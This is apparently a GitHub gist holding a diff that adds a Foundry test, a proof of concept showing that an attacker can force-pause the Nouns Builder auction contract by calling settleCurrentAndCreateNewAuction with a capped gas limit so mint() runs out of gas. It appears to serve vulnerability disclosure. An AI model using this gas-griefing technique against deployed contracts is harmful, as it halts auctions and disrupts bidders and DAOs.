Skip to content

Instantly share code, notes, and snippets.

@Shogoki
Created December 1, 2023 13:41
Show Gist options
  • Save Shogoki/9c98564ed1d2e29b5bd1bbc95e43a359 to your computer and use it in GitHub Desktop.
Save Shogoki/9c98564ed1d2e29b5bd1bbc95e43a359 to your computer and use it in GitHub Desktop.
PoC - Force Pause Auction
diff --git a/nouns-protocol/test/Auction.t.sol b/nouns-protocol/test/Auction.t.sol
index eed3763..5b021e6 100644
--- a/nouns-protocol/test/Auction.t.sol
+++ b/nouns-protocol/test/Auction.t.sol
@@ -304,6 +304,33 @@ contract AuctionTest is NounsBuilderTest {
vm.expectRevert(abi.encodeWithSignature("AUCTION_OVER()"));
auction.createBid{ value: 0.420 ether }(2);
}
+function test_ForcePause() public {
+
+ address[] memory founders = new address[](1);
+ uint256[] memory percents = new uint256[](1);
+ uint256[] memory vesting = new uint256[](1);
+ founders[0] = address(this);
+ percents[0] = 99;
+ vesting[0] = block.timestamp + 1 days;
+
+ address attacker = address(1337);
+
+ deployWithCustomFounders(founders, percents, vesting);
+
+ auction.unpause();
+
+ vm.prank(bidder1);
+ auction.createBid{ value: 0.420 ether }(99);
+
+ vm.prank(bidder2);
+ auction.createBid{ value: 1 ether }(99);
+
+ vm.warp(10 minutes + 1 seconds);
+ // By limitting gas, we can make mint() run OOG and force Pause the Auction contract.
+ vm.prank(attacker);
+ auction.settleCurrentAndCreateNewAuction{gas: 5550880}();
+ assert(auction.paused());
+ }
function test_SettleAuction() public {
deployMock();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment